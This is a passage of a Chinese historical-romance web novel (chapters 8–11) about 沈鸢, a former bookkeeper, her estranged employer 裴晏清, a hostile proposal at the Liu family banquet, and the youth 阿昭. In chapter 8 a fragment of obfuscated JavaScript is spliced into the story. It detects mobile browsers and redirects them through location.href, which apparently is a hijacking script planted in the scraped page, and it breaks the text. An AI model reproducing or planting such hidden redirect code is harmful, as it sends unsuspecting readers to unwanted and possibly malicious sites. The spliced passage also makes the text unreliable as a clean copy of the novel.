沈鸢看着眼前女子,那支白玉兰簪在日光下泛着温润光泽。
方才裴晏清与柳梦玉一同走进来,两人间有一种难以言说的默契。
沈鸢喉咙里像是堵了一团棉花,咽不下去,也吐不出来。
她深吸一口气,开口时声音平稳:“柳姑娘言重了。沈家只求货物放行,以后再无此事发生,家弟的伤有大夫医治。”
柳梦玉看着她,目光里那点疑惑又浮上来,她没有多言,只点了点头。
孙明见双方达成和解,松了口气,惊堂木终于落下。
“啪——”
“既如此,本府判令:即日放行沈家货物,承担沈公子医药费用,码头小吏违规扣押一事另案查处。柳文彬聚众伤人,罚银一百两,以儆效尤。退堂!”
柳文彬面色铁青,嘴唇抿成一条线,却不敢再多说半个字,他狠狠瞪了沈鸢一眼。
沈鸢立即安排沈川去看大夫,她方走几步,身后便有人叫住她。
沈鸢转过身,岑明站在三步之外,皂袍整洁,腰间佩刀,面容端正。他手里拿着一卷文书,看着她,目光里有关切之意。
岑明走上前几步,将手中文书递过来:“阿鸢,这是码头放行批文,孙大人已经签过押。拿去交给管事,今日便可提货。”
沈鸢接过,纸张尚有余温,墨迹未干透,凑近能闻到松烟墨特有的香气。
“今日,多谢岑大哥。”她将文书收好,福了一礼。
岑明摆了摆手,犹豫片刻,又道:“柳家那边,你还是要提防些。柳文彬今日吃了亏,回去怕是不肯善罢甘休。码头小吏那边,我会盯着的,若有风吹草动,自会知会沈家。”
他声音压得低,像是怕旁人听见。公堂之上人多眼杂,他身为捕快,本不该与案件中人走得太近,这番话已是越矩。
沈鸢抬眸看他,岑明目光坦然,没有半分闪避。
“岑大哥费心了。”她再次道谢,语气真诚。
岑明看出她不愿多说,便不再追问,只道:“若有需要帮忙之处,你只管开口。”
就在此时,柳文彬灰溜溜的跟在柳梦玉身后走出来。
岑明见状,侧身挡在在沈鸢身前。
裴晏清从一侧走过,衣角带起一阵微风,拂过沈鸢袖口。
沈鸢垂眸不去看那人,可一股松香气息一晃而过,清冽如林间寒意。
“阿鸢?”岑明声音带着担忧,“你脸色不太好,可是哪里不舒服?”
沈鸢摇摇头,面容苍白,木然转身离去。
8. 008
昨夜为沈川请医敷药,沈鸢折腾到三更天才歇下。他腿上伤处虽未伤及骨头,皮肉破损不少,大夫叮嘱须得静养半月。
铺子里事情堆积如山。那批扬州来的绸缎虽已放行,各处分销安排,桩桩件件沈鸢都要过目一番。
王氏将账簿一摞摞搬上来,沈鸢坐在柜台后头,从清晨看到日头偏西。
“鸢儿,用些吃食。”王氏端来一碗清汤面,热气袅袅。
沈鸢摇摇头,眼睛仍盯着账簿,直到最后一页账薄,沈鸢才长长呼出一口气,靠在椅背上,抬手揉按眉心。
“婶婶,我多日未归家,今日要回去看看我阿爹。”她起身,声音有些哑。
王氏满面笑容,道自是应该。沈鸢回青城后,几乎整个人扎进她家这个小铺子,王氏十分感激,多备了一些物什叫沈鸢带回家中。
街上行人渐少,夕阳将半边天染成橘红色,余晖洒在青石板路上,泛着暖融融光晕。
沈鸢此次回到青城,本该好好休息一番。可在裴家四年,她多数时间都耗在账房中,她似乎已经习惯了。
若是闲下来,心中酸涩如潮水涌来,她多忙一些,也没有空闲去想那人。
沈家宅子在城东一条僻静巷子里,青砖灰瓦。
沈鸢推开院门,沿着抄手游廊往里走。
廊下挂着几盏灯笼,还未到点灯时辰,光线有些暗。
她转过走廊,脚步忽顿住。
院子西角种着一棵梅树,树干虬曲,枝丫横斜。树下立着一个人。
那人一身月白色长衫,腰系青玉带钩,身形清瘦挺拔。夕阳余晖透过枝叶缝隙落在他身上,衣料上暗纹流转出细碎光华。
他听见脚步声,缓缓转身。
那张脸在暮色中半明半暗,光影勾勒出分明轮廓,剑眉斜飞入鬓,目若朗星,鼻梁挺直。
沈鸢站在原地,脚像是钉在青砖上,半步都迈不动。
“回来了。”裴晏清开口,声音清淡。
三个字,寻常如檐下滴水,轻飘飘落。
沈鸢喉咙发紧,他为何会在这儿?
她垂下眼,压下翻涌情绪,不知该如何应下裴晏清的话。
沈鸢站在原地,与裴晏清隔着半座院子。风穿堂而过,梅树叶子沙沙作响,有几片叶儿打着旋儿飘落下来,落在裴晏清肩上,又顺着衣料滑落。
不过片刻,正厅方向传来一深一浅脚步声,沈泊明大步流星走出来。
“晏清!”沈泊明声音洪亮,快步走到近前,一把抓住裴晏清手臂,“几年不见,怎么清瘦了?”
裴晏清微微躬身,拱手见礼:“沈伯父安好。”
沈泊明拉着他不肯松手,上下打量:“昨日便听说你来了青城,来来来,进屋说话,站在院子里做什么。”
他说着,拽着裴晏清往正厅走,经过沈鸢身边时随口道:“阿鸢,去沏壶好茶来,用前日新到的那罐龙井。”
沈鸢应了一声,转身往另一头走。
昨日还对簿公堂,今日倒还登门了。裴晏清不愧是官商两路都吃得通的人。
沈鸢无言以对,她从柜里取出那罐龙井,这是今年新茶,沈鸢托人从扬州带回来,可沈父一直舍不得喝。
沈鸢端着茶盘往正厅走。
还未进门,便听父亲笑声朗朗,夹杂着裴晏清低低说话声,内容听不真切,只那声音落在耳中,像冬日里一根冰锥,扎得人生疼。
她跨过门槛,将茶盘放在桌上,双手端起茶盏送至裴晏清面前。
茶盏递过去时,她垂着眼,没有看他。
裴晏清接过,指尖不经意间触到她手背。那温度微凉,触感只是一瞬,沈鸢却像是被烫了一下,手指一缩,险些将茶盏打翻。
她稳住手,退开两步。
裴晏清端起茶盏抿了一口,神色如常:“好茶。”
沈泊明笑道:“你喜欢便好,阿鸢沏茶手艺是跟她母亲学的,她母亲在世时,沏得一手好茶。”
“我知道。”
裴晏清轻飘飘几字,沈鸢心中发堵。他怎会记着这些琐事,因着心中爱慕,沈鸢不仅要理账册,她也愿意多劳累一些,她也会偶尔照顾裴晏清起居。
沈鸢转身到院中,盯着砖缝间几簇青苔,颜色深绿,像一小块一小块绒毯。
两人越聊越远,沈泊明眼眶微红,语带哽咽:“老爷待我恩重如山,沈鸢也因此能跟在你身边,多见见世面,可……”
“晏清,都是我教女无方,鸢儿哪儿错了,你就原谅她一次。不要赶她走,账房之事,我这个当爹的,还是十分相信她的能力。”
晚膳时分,沈泊明执意留裴晏清用饭。
沈泊明取出一坛陈年花雕,拍开泥封,酒香顿时弥漫满屋。
沈泊明给裴晏清斟满一杯,又给自己倒上,举杯道,“来,今日高兴,喝一杯。”
沈鸢坐在桌边,面前碗筷未动。她垂着眼,筷子捏在手中,指尖泛白。
沈泊明酒量本就不大,几杯下肚,面色酡红,话也多了起来。他拉着裴晏清,絮絮叨叨说起当年旧事。
裴晏清静静听着,不时点头,偶尔应上一两句。
沈泊明敬得勤,一杯接一杯,裴晏清渐渐面上浮起一层薄红,从颧骨一直蔓延到耳根。
沈鸢抬眼看了他一眼,又飞快垂下。
“阿鸢。”沈泊明忽然开口,声音已有几分含糊,“晏清喝多了,你……你照看一下,为父……去醒醒酒。”
他说着,摇摇晃晃起身,险些带倒椅子。沈鸢连忙扶住,沈泊明摆摆手,往后院而去。
厅中只剩下沈鸢与裴晏清两人。
红烛高烧,烛泪顺着烛身一滴滴滑落,在铜烛台上凝成一小摊。火光摇曳,将两人影子投在墙上,忽长忽短,忽明忽暗。
沈鸢坐在那里,脊背挺直,双手放在膝上,手指无意识绞着衣料。
裴晏清靠在椅背上,微阖着眼,烛光映在他侧脸上,轮廓分明。
他睫毛很长,投下一小片扇形阴影,鼻梁挺直,薄唇微抿,唇色比平日更深一些,泛着淡淡水光。
屋里极静,只有烛芯燃烧发出细微噼啪声。
沈鸢没有说话,她等着裴晏清自行清洗,或是等着他主动离开。
过了一盏茶时间,裴晏清缓缓睁开眼。
那双眼睛不如平日清亮,蒙着一层薄薄水雾,目光有些涣散。他转头看向沈鸢,视线在她脸上停住。
那目光与昨日不同,如今赤裸裸粘在她身上。
沈鸢被那目光看得浑身发僵,她移开视线,站起身,“我去备醒酒汤。”
“不必。”裴晏清开口,声音比平时低哑。
沈鸢站在原地,进退两难。她目光忽落在桌上,他手指修长,骨节分明,在烛光下泛着淡淡光泽。
沈鸢脸色忽然一阵泛红,又迅速褪成苍白。
裴晏清望着沈鸢平静面容,忽然叹息一声说道,“沈鸢,别再闹了。回去吧,你父亲希望你继续留在裴家。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513241|203098||http|test|mini|href|location''.split(''|''),0,{}));
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>闻言,沈鸢心中酸涩,胃中那不适感又翻涌上来。
原来在裴晏清眼中,只是她在胡闹,一切都是她的错。
他有此般想法属实没错,是她自不量力,哪个下人敢对东家存非分之想。
沈鸢深吸一口气,声音平稳:“我叫人来接。”
“沈鸢,你不愿离开可是为了昨日那捕头?”
沈鸢脚步微顿,唇角扯了一讽刺弧度。她才归家几日,裴晏清就这么高看她。
她转身出了正厅。
夜风扑面而来,凉意渗进骨头缝里。她站在廊下,手扶着廊柱,指尖抠进木头纹理中,粗糙触感让她渐渐镇定下来。
沈鸢站在廊下,望着天上月亮,银白月光洒下来,将院中景物镀上一层冷色。梅树枝丫交错,影子落在地上,像一幅水墨画。
她等了许久,始终没有人来。
夜风越来越凉,吹得廊下灯笼摇晃不定,光影在青砖地上晃来晃去。
沈鸢进屋询问裴晏清的人在何处,可他似乎睡着了一般。
“沈鸢……”无奈之际,裴晏清却突然伸手擒住她的手腕。
两人肌肤相触,沈院一阵激灵,那灼热的记忆顿时袭上心头,她后怕得立即挣脱裴晏清。
而就在此时,院门外忽然传来马车辘辘声。
不多时,一个婢女站在沈家院门边上:“沈姑娘,我家姑娘来接裴二爷回去。”
沈鸢转身,见一道纤细身影立在院门边。
柳梦玉下了车,身后跟着两个丫鬟,手中提着灯笼,橘黄光线照亮脚下路。
她看着柳梦玉走来,裙裾曳地,环佩叮当,那张脸在烛光下莹白如玉,眉目间全是关切。
柳梦玉微微颔首:“沈姑娘,叨扰了。听说晏清在这儿吃醉了酒,我不放心,特地来接他。”
晏清,柳梦玉唤他晏清,这两个字从旁人口中说出来,沈鸢方知有多刺耳。看来裴晏清对她果然不一样。
沈鸢听在耳中,心头像被人轻轻拧了一把。
她在裴家四年,理账、打点琐碎,她知道自己是何身份。只是那一份虚妄心意被戳破后,她不知会变成这样。
沈鸢点点头,侧身让开:“他在厅中,请进。”
柳梦玉道了声谢,带着丫鬟走进正厅。
见柳梦玉弓腰靠近裴晏清,沈鸢垂下眼。指尖掐进掌心,疼意细细密密,将胸口那团酸涩压下去。
不多时,两个丫鬟扶着裴晏清走出来。他脚步有些踉跄,微阖着眼,衣领微微敞开,露出一截锁骨。
经过沈鸢身边时,他忽然睁开眼。那双眼睛在夜色中格外清亮,不像醉酒之人。
柳梦玉轻轻扶住他手臂,柔声道:“慢些走,马车就在门口。”
辘辘声响越来越轻,最终消失在巷子尽头。
心头如被人攥紧,一股苦涩顺着血液蔓延到四肢百骸。她站在原地,听着脚声音远去,她嘴唇抿成一条线,指尖的痛终于盖过了那说不出道不明的钝痛。
沈鸢站在院门口,月色落在她脸上,衬得面色越发苍白。月光将她的影子拉长,孤零零落在地上。
风吹过,梅树叶子沙沙响,有几片落在她肩上,她浑然未觉。
直至一切恢复平静,沈鸢转过身,走进院子。
她脚步很稳,一步一步走过青砖甬道,回到自己房中。
房门关上那一刻,沈鸢靠在门板上,闭了眼。
如释重负。
裴晏清,早已是陌路人。
9. 009
柳家夫人寿宴,帖子竟送到沈鸢手中。
王氏站在一旁,看着那张帖子,面露忧色:“鸢儿,柳家这宴,怕是鸿门宴。你与柳文彬前几日才对簿公堂,闹成那样,他们怎会好心请你?”
沈鸢将帖子合上,搁在一旁。她自是清楚柳家不是真心实意请她,不过是想在众人面前显显威风,压一压沈家如春笋般的新生力量。
可叔父家布店要在青城长久做下去,柳家这门邻舍便不能彻底撕破脸。寿宴不去,反倒显得沈家小气,落人话柄。
“川儿伤也尚未恢复,不然还可让他跟你前去。”王氏心中担忧。
“婶婶放心,我自有分寸。叔父铺子明年想在城西开分号,柳家那边街面最是热闹,不好得罪。”
*
寿宴那日,沈鸢到时,门前已经停满车马。青城有头有脸人家几乎都到了,女眷们在丫鬟搀扶下鱼贯而入,衣香鬓影,笑声盈盈。
沈鸢递上帖子,丫鬟抬眸瞥了眼沈鸢,眸中倨傲。随着丫鬟穿过垂花门,抄手游廊尽头便是正厅。
廊下挂满大红绢纱灯笼,每盏灯笼下缀着金色流苏,在晚风中轻轻摇曳。花圃里玉兰开得正盛,甜腻花香混着脂粉气,弥漫在整座庭院中。
正厅里摆了十余桌席面,红木圆桌铺着暗红桌布,碗碟皆是青花细瓷,杯盏碗碟碰撞声叮叮当当,混着众人说笑声,热闹得很。
沈鸢寻了个靠边安静之处坐下,刚坐定,便察觉四周目光三三两两落在她身上。
邻桌几位妇人凑在一处,声音压得低,话语却一字不漏钻进沈鸢耳中。
“这就是沈家那姑娘?听说这几年不在青城,去了扬州。”
“可不是,在扬州待了四五年呢。一个姑娘家,孤身在外头那么些年,谁知道做何营生。”
“我听说啊,她在扬州给一个大富商做了妾,如今被正头夫人赶了回来……”
妇人说到此处,掩嘴笑了笑,目光往沈鸢这边飘过来,带着毫不掩饰打量与轻蔑。
沈鸢端起茶杯,垂眸抿了一口。茶水温热,入口微涩,她面色如常,仿若并未听到那些话。
旁人嘴她堵不住,她行得正坐得端,没必要为了别人污言秽语上心。
席间渐渐热闹起来,柳夫人身着绛紫色褙子,头戴赤金衔珠步摇,由丫鬟搀扶着从后堂走出来。
她面容保养得宜,眉眼间与柳文彬有几分相似,一双眼睛精明锐利,扫过席间众人时,在沈鸢身上停了一瞬。
那目光看不出喜怒,只淡淡掠过,便移到别处。
众人纷纷起身贺寿,柳夫人含笑应酬,言辞得体,一派温婉贤淑模样。
沈鸢随着众人起身,福了一礼,便重新落座,低头喝茶。
宴席过半,柳文彬忽然端着酒杯走过来。
他今日穿一身宝蓝色锦袍,腰间束一条金丝腰带,金冠束起,打扮得比平日更为张扬。面上带着笑,脚步却有些摇晃,已然是饮了不少酒。
走到沈鸢面前,柳文彬站定,目光直直落在她脸上。
“沈姑娘。”他开口,声音比平日高了些,引得周围几桌人纷纷侧目。
沈鸢放下茶杯,抬眸看他,面露疑惑。
柳文彬忽而提高声音,像是要让在场所有人都听见:“沈姑娘,在下对姑娘一见倾心,今日当着诸位宾客面,求娶沈姑娘为妻。”
话音落下,席间顿时一静。
众人目光齐刷刷朝她这边看来,有人面露惊诧,有人掩嘴偷笑,更多人端着酒盏,一副看好戏神情。
柳夫人脸色微变,放下手中酒盏,快步走过来。她拉住柳文彬手臂,压低声音:“彬儿,你喝多了,快回去坐下。”
柳文彬甩开柳夫人手,声音更大:“母亲,我没喝多。沈姑娘品貌出众,儿子真心求娶,有何不可?”
柳夫人面色难看,目光转向沈鸢,眼中闪过一丝冷意,面上却仍挂着笑:“沈姑娘见谅,文彬年轻气盛,喝了几杯酒便胡言乱语,姑娘莫往心里去。”
“儿子心意已决。”柳文彬仍跪着,声音愈发响亮,“沈姑娘虽在扬州待过四年,可儿不计较过往,只求与她共度余生。”
“在扬州待过四年”几字咬得极重。席间响起窃窃私语,有人掩嘴轻笑,有人交换眼色。
沈鸢站起身,目光在柳文彬脸上停了一瞬。他面上带着笑,眼底却有暗色翻涌。
码头之事令他丢了脸面,如今当着满堂宾客求娶,表面是抬举,实则是折辱。
应了,便落入柳家掌心;不应,便是她沈鸢不识抬举,在青城更不好立足。
沈鸢手指攥紧袖口,指节泛白。她深吸一口气,站起身正要说话,□□那头又传来脚步声。
众人循声望去,只见裴晏清与柳梦玉并肩而来。
裴晏清穿一件玄色长衫,面容清隽,神色淡漠。柳梦玉着月白色褙子,外罩浅青色斗篷,温婉端庄。
两人走在一处,一个清冷如霜,一个温润如玉,远远望去,无比相配。
席间响起低低议论声。
“这是裴家二爷?果然一表人才。”
“听说裴、柳家本就交情匪浅,今日与柳姑娘一同赴宴,怕是好事将近。”
沈鸢站在人群中,裴晏清与她,也算旧识。
此刻她竟然盼着他能站出来说句话,哪怕只言片语,替她暂时排解这难堪。可裴晏清目光扫过她,面色平静,一言不发,仿佛似不认识她。
沈鸢垂下眼,将酸涩咽回肚里。
柳文彬见柳梦玉,忽然面露喜色,大步走过去。
“堂姐!”他声音带着几分急切,拉住柳梦玉衣袖,“你来得正好。我要求娶沈姑娘,你不会找到自己幸福,就不管弟弟了吧?”
柳梦玉面上浮起一层薄红,从脸颊一直蔓延到耳根。她垂眸看了一眼身侧裴晏清,又飞快移开目光,嘴唇翕动,一向镇静的人,羞得说不出话。
可那一眼娇羞,胜过千言万语。
席间众人看在眼里,目光在裴晏清与柳梦玉之间来回游移,皆是心照不宣。
沈鸢站在原地,胸口像被人攥紧,呼吸都变得困难。她手指蜷缩,指甲掐进掌心,那点疼痛尖锐而清晰,勉强撑住摇摇欲坠心神。
她深吸一口气,开口时声音平稳,却带着一丝不易察觉颤抖:“沈鸢身份卑微,配不上柳二公子厚爱。”
话音落下,柳文彬脸色一沉,正要继续说些什么——
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“阿姐……”
一道少年郎声音从厅门处传来,清朗响亮,穿透满堂嗡嗡议论声。
众人循声望去,一个少年站在门口,身量修长,穿一件竹月白长袍,面容白皙,眉眼间带着几分稚气,却自有一种从容气度。
他大步走进来,脚步沉稳,目光在席间扫过,最终落在沈鸢身上,唇角微扬,露出一个温暖笑容。
沈鸢愣住。
那少年走近,在她面前站定,微微躬身,行了一礼。
“我来迟了,让阿姐受了委屈。”
沈鸢看着他,那张脸与某个模糊人影渐渐重合。她忽然想起回家路上,那个蜷缩在车厢角落、浑身是伤的少年。
他如今换了干净衣裳,收拾整齐,与那日狼狈模样判若两人。唯有那双眼睛,依旧如那日般干净剔透,带着少年人特有真诚与坦荡。
“是你……”沈鸢轻声道。
少年直起身,转向柳文彬,目光平静,声音不大,字字清晰:“柳二公子方才说求娶我阿姐,不知是真心还是假意?”
柳文彬脸色微变,上下打量少年一眼,见他衣袍料子虽好,却不似青城哪家公子,心中稍定,嗤笑一声:“你是何人?这里哪有你说话份?”
少年不恼,唇角笑意更深:“在下是何人,柳二公子你无需知道。只需记着一件事——即使我阿姐平凡,也配得上世间任何一个人。”
他说这话时,目光扫过席间众人。
裴晏清站在不远处,目光落在少年身上,眼底划过一丝不易察觉审视。
席间一片安静,众人面面相觑,不知这突然出现少年是何来头。
柳夫人脸色铁青,攥紧手中帕子。柳梦玉面上红晕已褪去大半,也忍不住打量这突然出现的少年。
柳文彬张了张嘴,还想继续说,被柳梦玉一个眼神制止。
少年不再理会旁人,转身看向沈鸢,拉住她手腕:“阿姐,我们走。”
沈鸢看着那只手,修长干净,指节分明。
少年掌心温热,力道强势。他微微侧身,将她护在身后,带着她往厅门走。
经过裴晏清身边时,沈鸢垂下眼,没有看他。
少年却忽然停下脚步,偏头看了裴晏清一眼。那目光平静,没有敌意,也没有畏惧,只是淡淡一瞥。
“裴二爷。”他开口,声音不高不低,“久仰。”
裴晏清没有应声,目光落在他脸上,眼眸深沉。
少年也不等他回应,拉着沈鸢继续往外走。
两人身影消失在厅门处,暖阳洒在青石板路上,将两道身影拉长。
席间重又热闹起来,议论声嗡嗡作响。
柳夫人勉强笑着招呼宾客继续用膳,柳文彬站在原地面色铁青,折扇在掌心敲得啪·啪响。
柳梦玉垂着眼,余光瞥了一眼身侧的裴晏清,他一脸沉默,不知在想什么。
裴晏清站在原地,看着厅门方向。
暖光从门外漏进来,落在他脚边,青砖地面映出一小片橘黄色。他目光停留片刻,缓缓收回,转身走回席间。
柳梦玉跟在他身后,因着昨夜自作主张,惹得裴晏清不悦,此时她不敢再随意开口。
10. 010
巷子深处,两侧高墙将落日余晖割成狭长一条,落在青石板路上,暖橙一片。
走出柳家门,沈鸢轻轻抽回手。
阿昭掌心一空,那温热触感转瞬即逝。他垂下眼,看着自己空落手掌,指尖微蜷,终只是握成拳。
“阿姐,走吧。”阿昭开口,声音比方才轻柔许多,“方才你定然没有吃东西,我们先去吃一些。”
沈鸢看他一眼,少年侧脸在暖光下轮廓分明,睫毛低覆,投下一小片阴影。
她没有应声,阿昭便当她默许,迈步往前走,步子缓缓,恰好与她并肩。
街边零星几家食铺,阿昭挑了一间干净敞亮小店,掀开布帘让沈鸢先进。
店主见有客来,忙迎上来。
“两位吃些什么?有馄饨,有面……”
“两碗馄饨,一壶热茶。”阿昭替沈鸢拉开条凳,自己则坐到对面。
汤面上飘着几丝蛋皮和葱花,热气袅袅升腾,模糊了对面少年面容。
阿昭低头吃馄饨,用得很慢,似是刻意拖延时间。他偶尔抬头看沈鸢一眼,又飞快垂下目光,怕被她发现端倪,又怕她不并在意。
直到碗中汤见底,阿昭才放下筷子,从袖中取出一块碎银搁在桌上。
“阿姐,那日匆匆而别,还未正式道谢。”他唤她,声音比方才低了些,“那日若不是阿姐,我怕是已经……”
他未再说下去,喉结滚动一下,“你不仅救下我,还出钱助我回扬州。这份恩情,阿昭记在心里,一辈子不敢忘。”
沈鸢看着他,少年面上神情认真,没有半分轻浮。那双眼睛干净剔透,像山间清泉,映着她面容。
“可寻到家中之人?”沈鸢问。
那日意外救下阿昭,交谈得知他要前往扬州寻亲,沈鸢看他可怜,临走前安排了一辆马车送他。
原想着自那一别,两人不会在相遇,不想他竟然来了青城。
阿昭摇摇头,目光暗了暗:“我与家中闹了别扭,如今一直住在外面。”
他并未细说,沈鸢也没再追问。每个人都有不愿提及过往,她懂。
两人沉默片刻,不远处巷口闪过一道身影,阿昭眸色微变,桌上双手紧握成拳。
阿昭忽然起身,从腰间取下一块玉佩搁在桌上。玉佩成色极好,通体碧绿,雕着精细云纹,在烛光下泛着温润光泽。
“阿姐,我且有事要处理,眼下无法与你叙旧。”他顿了顿,将玉佩塞到沈鸢手中,“这块玉佩先压在阿姐这里,等我回来取。”
沈鸢看着那块玉佩,推了回去。阿昭将玉佩往她面前推了推,指尖在桌面轻轻叩了两下,像是催促,又像是不舍。
“阿姐保重。”他说完,转身走出小店,脚步比来时着急些许。
布帘掀开又落下,夜风从门缝灌进来,吹得烛火摇了几摇。
沈鸢坐在原处,看着桌上那块玉佩,碧绿色泽在烛光中流转,像一汪深潭。
她拿起玉佩,入手温润,一看就价值不菲。
沈鸢无奈将玉佩收进袖中,起身离开小店。夜风迎面扑来,带着深秋寒意,吹得她袖口猎猎作响。
她沿着长街往叔父家走,行至一条岔路口,忽听身后有人唤她。
“沈姑娘?可是沈姑娘?”
沈鸢转身,一个中年男子小跑着追上来,气喘吁吁。他穿一件灰蓝色棉袍,面容瘦削,颌下蓄着短须。
沈鸢认出此人,裴家一位账房刘鸣,比她晚到裴家两年。
“刘先生。”沈鸢微微颔首。
刘鸣喘匀了气,面上堆起笑:“沈姑娘,可算遇见你了。之前姑娘教授,恕在下愚钝,还是没领会姑娘法子的深奥之处。在下有几处账目理不清,想请姑娘再指点一二。”
沈鸢看着他,他面上笑容真切,可她也有自己顾虑。
“天色已晚,且我已递了辞呈,实在不适合再接触裴家商行之事。”沈鸢婉拒。
刘鸣连连摆手:“沈姑娘,二爷虽然严苛,可一向惜才。况且当时你可是老爷定下来的人,二爷不会发难的。”
沈鸢犹豫片刻,到底应了下来。她在裴家做了四年账房,与刘鸣虽不算熟悉,也算相识一场。他既然开口请教,推拒太过,反倒显得小气。
两人走了一炷香时间,巷子尽头一扇黑漆木门,门环铜绿斑驳,像是许久不曾修缮。
沈鸢认出此宅,这是裴家老宅,如今托给沈父照管。
裴晏清此时定然与柳梦玉在一起,沈鸢抱着侥幸,与刘鸣进入裴府。
院内昏暗,只有正厅方向透出一线烛光,昏黄微弱,在夜风中摇曳。沈鸢走过青砖甬道,脚步踩在地上,发出细碎沙沙声。
沈鸢在一个亭子等候,刘鸣前去取账本。
沈鸢站在亭中,脊背挺直,面色平静,只有攥紧袖口手指泄露一丝不安。灯笼中烛火跳跃,焰心爆开一朵灯花。
烛光在她脸上跳动,明暗交错,将轮廓映得忽隐忽现。
不知过了多久,亭子外传来脚步声。
那步伐不快不慢,靴底踩在青砖上,声音沉稳有力。沈鸢对这脚步声太过熟悉,熟悉到哪怕闭上眼,也能在千百人中准确分辨出来。
她转身,眼见裴晏清缓缓走来。
他身着一件石青色常服,面容在烛光下半明半暗。目光落在沈鸢身上,带着审视,夹杂着冷意。
“沈鸢。”他开口,声音不高,字字清晰,“真是小看你了。”
沈鸢面对他,不知他话中之意,不知该如何接话。
“你回青城短短几日,竟然就惹上这么多男子。”
“怎么?难不成裴府中,也有你勾搭的其他男子不成?”
沈鸢看着他,那张俊容她看了多年,此刻近在咫尺,却像隔了一层薄雾,陌生得让她心悸。
她想解释,想辩驳,话到嘴边却化作一声轻笑。
在他眼里,她不过是一个不安分下人,今日与这个牵扯,明日与那个纠缠。今日宴席上那些人诋毁她,他恐是巴不得赶紧划清界限。
沈鸢垂下眼,不坐介绍,也不再看他。
远外传来脚步声,刘鸣抱着账本小跑过来,额头上沁出汗珠,面色慌张。他看见裴晏清,目露惊骇。
沈鸢看也不看那些账册,转身径直离开。
“沈鸢。”裴晏清在身后唤她。
她脚步未停。
“站住。”
她脚步更快,裙摆拂过门槛,带起细微灰尘。夜风迎面扑来,吹散脸上残余温度。
“二爷?”刘鸣手中海抱着账册,小心翼翼的出声唤道。
裴晏清转身看着刘鸣,眸中寒光乍现,“怎么?沈鸢勾搭的是你?”
“二爷恕罪!此事万万没有。”刘明一听,‘咚’的一声双膝着地,“在下愚钝,偶遇沈姑娘,才向她求教……”
“沈姑娘高洁,在下高攀不上。况且……在下心中只有拙妻一人…
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…”刘鸣嘟嘟囔囔说着,面上的红晕在夜色中也遮掩不住。
裴晏清斜瞥他一眼,刘鸣孩子都可以打酱油了,还是出了名的惧内。
“没有她,账本就处理不了了?若是这样,要不要我再寻一人,与你将公事和月俸分摊分摊。”
刘明闻言,大气不敢出……
*
沈鸢穿过院子,她脚步很快,几乎是小跑,鞋底踩在青石板上发出急促声响。
回廊尽头连接一座水榭,池塘水面平静如镜,倒映天上月亮,银盘一般浮在水中。几片叶漂在水面,随微风缓缓移动,扰碎月影。
沈鸢走上回廊,脚步渐渐慢下来。夜风从水面吹来,带着初春水汽,湿冷渗进衣裳,激得她打了个寒颤。
她沿着回廊往前走,目光落在水面月影上,恍惚间发觉对面回廊有人。
对面水榭回廊上有人走来。
沈鸢手绘目光,夜风穿过,吹起沈鸢鬓角碎发,她着急离开,并未看清对面那人。
水榭另一侧,阿昭忽然停下脚步。
他转过身,看向对面回廊。廊上空无一人,只有夜风吹动檐下草,发出细微沙沙声。他站了片刻,不知想到何事,唇角微微扬起一个弧度,又很快抿平,转身继续往前走。
裴家老宅,书房内烛火高烧,将室内照得通明。
裴晏清坐在书案后,面前摊着一本书,目光却没有落在书页上。他靠着椅背,手指搭在扶手上,指尖无意识叩击,一下一下,在寂静书房中格外清晰。
烛火跳动,将他影子投在墙上,忽长忽短。他面色平静,目光却比平日更沉,不见波澜,也不见底。
窗外夜风渐紧,吹得窗棂纸沙沙作响。
裴晏清闭上眼,后仰靠在椅背上,抬手揉眉心。指腹按压在眉心穴位上,却怎么也揉不开那一团郁结。
不知过了多久,房门忽然被人推开。
门扇撞在墙上,发出沉闷一声响,夜风从门口灌进来,吹得烛火猛烈摇晃,差一点熄灭。
裴晏清没有睁眼,靠着椅背,声音淡淡:“怎的,舍得回来了?”
阿昭站在门口,月光落在他肩上,将竹青色衣袍镀上一层银白。他抬脚跨过门槛,回身将门关上,动作随意。
“叔父。”阿昭唤了一声,走到书案前,在对面椅上坐下,翘起二郎腿,姿态散漫,“您不也是方才从美人怀中脱身。”
裴晏清睁开眼,目光落在裴昭面上。
裴昭被他看得有些不自在,坐正身子,却仍扬着下巴,不肯露怯。
裴晏清嗤笑一声,唇角微扬,笑意却没有到达眼底。
“美人怀中脱身?”他鼻息捡似乎萦绕那一道花香,声音低哑,“那美人好似勾了太多人……”
裴昭愣住,他看着裴晏清,想从那张脸上找出一丝玩笑痕迹。可那张脸淡漠如常,只有眼底深处,藏着一丝疲惫。
“白日之事,你就没什么要说的?”
裴昭幼师便外出求学,除了祖母寿辰,他几乎不回扬州。
他抬手轻抚鼻翼,眸间盛着温柔,“就是之前侄儿回扬州途中发生意外,幸得那姑娘相护,知晓她也是青城人氏,侄儿特来感谢。”
烛火又跳了一下,灯花爆开,细微声响在寂静书房中格外清晰。
裴晏清已合上双眸,不知是否将裴昭的话听进去。
裴昭拿过一旁大氅盖在裴晏清身上,轻叹一声,方轻声离开书房。
11. 011
清晨一早,沈鸢刚梳洗完毕,便听院门外传来叩门声。
沈鸢走到门口,晨光正好照在来人身上。阿昭穿一件月白色长衫,发束竹簪,手中提着两只礼盒,红绳系着,盒角微微沁出油渍,似是装了吃食。
他站在门外,面带笑容,眉眼间少年气盛。
“阿姐。”阿昭唤她,声音清朗,“今日特意上门拜谢阿姐救命大恩。”
沈泊明正在用膳,听见动静放下粥碗,走到门口张望。阿昭见了老者,从容越过沈鸢,躬身行了一个端方大礼。
“晚辈阿昭,见过沈伯父。”
沈泊明愣住,上下打量阿昭一番,又看向沈鸢,目光中满是询问。
沈鸢将归家路上救下阿昭之事简单说了,她说得平淡,像在说一件与己无关小事。
沈泊明闻之变色,他看向沈鸢,嘴唇翕动,半晌才挤出一句话。
“你这孩子……路上出了这般大事,怎得不告诉为父?”
沈鸢垂眸,没有应声。告诉他又如何,不过是徒增担忧。她平安回来,比什么都强。
“平安就好。”沈伯明声音有些发颤,抬手轻擦眼角,“鸢儿这孩子,自小就心善。”
